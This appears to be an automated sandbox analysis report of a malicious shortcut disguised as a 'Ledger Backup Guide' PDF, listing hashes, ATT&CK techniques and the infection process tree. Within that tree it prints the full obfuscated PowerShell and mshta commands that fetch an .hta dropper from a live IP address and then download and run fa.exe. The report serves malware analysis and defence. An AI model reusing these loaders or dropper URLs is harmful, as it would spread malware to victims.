6c0d2d490519c7b7418a5a15d439df95f1f3cffe2e371f8ae45b33b9a785f5e2

Analysis

max time kernel
131s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25/08/2024, 07:31

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General

Target
Ledger Backup Guide/Ledger Backup Guide.pdf.lnk
Size 3KB
Sample240825-jcdvxssfjh
SHA256 db8822b6a2dd963205143dfca7346b1c8cfc5e009de8254bd0e019c42ce34aac
MD5 042349274adf924c1895f61d34511569
SHA1 01ae2657665e16ca21da065a6b6d3fdb1238c4e7
SHA512 801af6aa4dc21f7ae6bf9b11a704f05af03e63ee69006290c5e35d68bf3e39cc301f31e4ebbb71f8a85d935c93c876b566147668b41ec9d9255f8f4f3c040931
MD5 SHA1 SHA512

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://94.154.172.166/rwrv/0508.hta

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	3172	mshta.exe
13	1948	powershell.exe
20	1948	powershell.exe
29	1948	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2792	fa.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1948	powershell.exe
4184	powershell.exe
1948	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fa.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4184	powershell.exe
4184	powershell.exe
1948	powershell.exe
1948	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4116	OpenWith.exe
2792	fa.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 4184	4788	cmd.exe	85
PID 4788 wrote to memory of 4184	4788	cmd.exe	85
PID 4184 wrote to memory of 3172	4184	powershell.exe	86
PID 4184 wrote to memory of 3172	4184	powershell.exe	86
PID 3172 wrote to memory of 1948	3172	mshta.exe	88
PID 3172 wrote to memory of 1948	3172	mshta.exe	88
PID 1948 wrote to memory of 2792	1948	powershell.exe	96
PID 1948 wrote to memory of 2792	1948	powershell.exe	96
PID 1948 wrote to memory of 2792	1948	powershell.exe	96

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Ledger Backup Guide\Ledger Backup Guide.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $Q='Am65sparv87hL0:t4./T2w91'; &(-join($Q[(955-951),(-933+933),(-658+670)])) =\ (-join($Q[(955-951),(-933+933),(-658+670)])); =\ *\ (-join($Q[(207-206),(955-951),(-256+267),(-435+450),(-933+933)])); foreach($u in @((-592+603),(-634+649),(382-367),(929-924),(830-816),(-90+108),(895-877),(-713+735),(-872+888),(276-259),(143-120),(-446+449),(939-923),(213-196),(-337+360),(351-341),(-835+855),(212-195),(365-342),(-695+697),(405-403),(-230+248),(307-300),(-540+561),(-130+137),(304-296),(-594+612),(1008-995),(-298+301),(195-182),(189-180),(-361+378),(-456+467),(724-709),(830-824))){$O+=$Q[$u]}; *\ $O;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://94.154.172.166/rwrv/0508.hta
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function USkZSTt($DHsoNB, $CLtGyujpn){[IO.File]::WriteAllBytes($DHsoNB, $CLtGyujpn)};function SRZQf($DHsoNB){if($DHsoNB.EndsWith((WxpJvEaZS @(32281,32335,32343,32343))) -eq $True){Start-Process (WxpJvEaZS @(32349,32352,32345,32335,32343,32343,32286,32285,32281,32336,32355,32336)) $DHsoNB}else{Start-Process $DHsoNB}};function TWYckVI($WPVzamN){$fwogpETUE = New-Object (WxpJvEaZS @(32313,32336,32351,32281,32322,32336,32333,32302,32343,32340,32336,32345,32351));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$CLtGyujpn = $fwogpETUE.DownloadData($WPVzamN);return $CLtGyujpn};function WxpJvEaZS($KPYQtbN){$osgBhuXl=32235;$lHtZmcpTk=$Null;foreach($VdylE in $KPYQtbN){$lHtZmcpTk+=[char]($VdylE-$osgBhuXl)};return $lHtZmcpTk};function LGcearH(){$KYYCxKXc = $env:APPDATA + '\';$qzIyDmmK = TWYckVI (WxpJvEaZS @(32339,32351,32351,32347,32350,32293,32282,32282,32354,32354,32354,32281,32344,32336,32335,32340,32332,32337,32340,32349,32336,32281,32334,32346,32344,32282,32337,32340,32343,32336,32330,32347,32349,32336,32344,32340,32352,32344,32282,32347,32286,32354,32349,32284,32342,32286,32289,32340,32354,32337,32341,32343,32290,32356,32282,32301,32332,32334,32342,32352,32347,32330,32306,32352,32340,32335,32336,32281,32347,32335,32337,32282,32337,32340,32343,32336));$VQISLWCL = $KYYCxKXc + 'file';USkZSTt $VQISLWCL $qzIyDmmK;SRZQf $VQISLWCL;;$LQABWtnx = TWYckVI (WxpJvEaZS @(32339,32351,32351,32347,32293,32282,32282,32292,32287,32281,32284,32288,32287,32281,32284,32290,32285,32281,32284,32289,32289,32282,32349,32354,32349,32353,32282,32337,32332,32281,32336,32355,32336));$eLnvmZH = $KYYCxKXc + 'fa.exe';USkZSTt $eLnvmZH $LQABWtnx;SRZQf $eLnvmZH;;;}LGcearH;
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1948
    - - C:\Users\Admin\AppData\Roaming\fa.exe
        
        "C:\Users\Admin\AppData\Roaming\fa.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2792

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5540f4ea6d18b1aa94a3349652133a4f6641d456757499b7ab12e7ee8f396134
MD5 75b4b2eecda41cec059c973abb1114c0
SHA1 11dadf4817ead21b0340ce529ee9bbd7f0422668
SHA512 87feaf17bd331ed6afd9079fefb1d8f5d3911ababf8ea7542be16c946301a7172a5dc46d249b2192376957468d75bf1c99752529ca77ec0aa78a8d054b3a6626
MD5 SHA1 SHA512

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__PSScriptPolicyTest_tv4vrrps.1gf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tv4vrrps.1gf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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fa.exe

Path C:\Users\Admin\AppData\Roaming\fa.exe
Size 156KB
SHA256 41ffba55c3d4f5e91b55a889a6657272867d3c386cf9e81dc07b7ad8752e32e2
MD5 1a283f35d7e975a7bddeefa78241391f
SHA1 0f941db2ed516c0bcd6f8c0bc2627f793ff9c7c7
SHA512 9c8934a0abf7e13b27afca4fbc38f8f3a4a43c079952d9a2a97af9f0a392068d95b10cf06e7bc6997ae8a20d87ee3434f854afd85d0dcd0a07d8cde1b76a9d66
SSDEEP 3072:DHmfY6diEsVN9UKx73RURkTAk9xUGBj2cBzgKFfmYW8qSmQNKYW:DiboLx73GRkTjkgfgyu8ln
MD5 SHA1 SHA512 SSDEEP

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memory/4184-2-0x00007FF8BD7B3000-0x00007FF8BD7B5000-memory.dmp

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memory/4184-3-0x0000018C1CDF0000-0x0000018C1CE12000-memory.dmp

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memory/4184-13-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

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memory/4184-14-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

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memory/4184-17-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

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